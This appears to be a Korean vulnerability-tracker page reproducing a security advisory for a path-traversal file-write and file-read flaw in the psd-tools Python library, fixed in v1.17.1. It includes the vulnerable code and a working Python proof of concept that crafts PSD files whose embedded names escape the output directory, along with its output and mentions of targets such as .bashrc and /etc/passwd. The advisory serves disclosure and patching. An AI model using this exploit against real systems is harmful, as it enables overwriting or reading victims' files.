Kestrel
대시보드로 돌아가기
CVE-2026-49836MEDIUMGHSA대응게시일: 2026. 07. 09.수정일: 2026. 07. 09.

psd-tools vulnerable to arbitrary file write via smart-object filename

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
medium

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

psd-tools: arbitrary file write/read via smart-object path traversal

Summary

In psd-tools (all releases exposing the SmartObject API through v1.17.0), SmartObject.save() writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted .psd can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or ../-traversing), outside its intended output directory.

A secondary issue in SmartObject.open() for external-kind smart objects allows the attacker-controlled fullPath descriptor to be used as an arbitrary file read path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in v1.17.1.

Details

Write path — SmartObject.save() (primary)

src/psd_tools/api/smart_object.py:170-179 (tag v1.17.0):

python
1def save(self, filename: str | None = None) -> None:
2 if filename is None:
3 filename = self.filename # untrusted, straight from the file
4 with open(filename, "wb") as f:
5 f.write(self.data) # attacker-controlled bytes

self.filename comes from the file with no validation — the filename property (:62-67) returns self._data.filename, set by the linked-layer parser at src/psd_tools/psd/linked_layer.py:100 (read_unicode_string(fp)). There is no basename, no absolute path rejection, and no .. filtering; the written contents (self.data) are likewise from the file, so the attacker controls both destination and content.

Read path — SmartObject.open() / .data for external kind (secondary)

For kind == "external", save() read file content via the data property, which called open() with no external_dir constraint. The fullPath descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause save(directory="/safe/out") to read an arbitrary readable file (e.g. /etc/passwd) and write its contents to the output directory.

Proof of concept

Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request.

text
1pip install psd-tools==1.17.0
2python poc.py

poc.py builds two PSDs from the project's own placedLayer.psd fixture (included as base.psd), differing only in the embedded smart-object name — control is a bare basename, exploit is ../../PWNED-psd-tools-poc.bin — then extracts each like a consumer would:

python
1import os, shutil, tempfile
2from psd_tools import PSDImage
3from psd_tools.constants import Tag
4
5MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n"
6NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"}
7
8def craft(name, out):
9 psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd"))
10 uuid = next(l.smart_object.unique_id for l in psd.descendants()
11 if l.kind == "smartobject" and l.smart_object.kind == "data")
12 for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL):
13 for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []:
14 if item.uuid.strip("\x00") == uuid:
15 item.filename, item.data = name, MARKER
16 psd.save(out)
17
18def extract(psd_path, outdir, watch):
19 psd = PSDImage.open(psd_path)
20 before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
21 cwd = os.getcwd(); os.chdir(outdir)
22 try:
23 for l in psd.descendants():
24 if l.kind == "smartobject" and l.smart_object.kind == "data":
25 l.smart_object.save()
26 finally:
27 os.chdir(cwd)
28 after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
29 return sorted(after - before)
30
31def main():
32 tmp = tempfile.mkdtemp(prefix="poc_")
33 try:
34 escaped = {}
35 for tag, name in NAMES.items():
36 psd = os.path.join(tmp, tag + ".psd"); craft(name, psd)
37 so = next(l.smart_object for l in PSDImage.open(psd).descendants()
38 if l.kind == "smartobject" and l.smart_object.kind == "data")
39 print(f"[{tag}] parsed embedded name = {so.filename!r}")
40 outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir)
41 written = extract(psd, outdir, tmp); out = os.path.realpath(outdir)
42 esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc
43 for w in written:
44 print(f"[{tag}] wrote {w} {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}")
45 ok = (not escaped["control"] and escaped["exploit"]
46 and all(open(w, "rb").read() == MARKER for w in escaped["exploit"]))
47 print("\nVERDICT:", "ARBITRARY FILE WRITE CONFIRMED" if ok else "not reproduced")
48 return 0 if ok else 1
49 finally:
50 shutil.rmtree(tmp, ignore_errors=True)
51
52raise SystemExit(main())

Output (psd-tools 1.17.0):

text
1[control] parsed embedded name = 'embedded-export.bin'
2[control] wrote .../poc_*/control/app/extracted/embedded-export.bin inside output dir
3[exploit] parsed embedded name = '../../PWNED-psd-tools-poc.bin'
4[exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin OUTSIDE output dir
5
6VERDICT: ARBITRARY FILE WRITE CONFIRMED

An absolute embedded name (e.g. /home/user/.bashrc) is honoured the same way.

Impact

Any application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via SmartObject.save() can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory — no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path.

For external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory.

Severity

Moderate for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction.

Patch

Fixed in v1.17.1 (PR #657). Changes to src/psd_tools/api/smart_object.py:

  • save(): strips directory components from the embedded name via os.path.basename(), writes only into a caller-supplied directory (defaults to CWD), and verifies the resolved path stays inside that directory via os.path.realpath() + os.path.commonpath(). A new external_dir parameter is propagated to open() for external-kind objects to constrain the read source.
  • open(): when external_dir is provided, a fullPath resolving outside it is silently ignored (falls through to relPath); a relPath escaping the directory raises ValueError.

Weaknesses

CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path).

Resources

  • Fix PR: https://github.com/psd-tools/psd-tools/pull/657
  • Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1
  • Affected source (tag v1.17.0): src/psd_tools/api/smart_object.py:170-179
    (sink), :62-67 (untrusted filename); src/psd_tools/psd/linked_layer.py:100
    (source).
  • Distinct in class from the published advisories (GHSA-24p2-j2jr-386w —
    compression resource exhaustion; GHSA-22jr-vc7j-g762 — buffer overflow). The
    save() write logic is unchanged since the SmartObject API was introduced,
    so all releases exposing it are affected.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.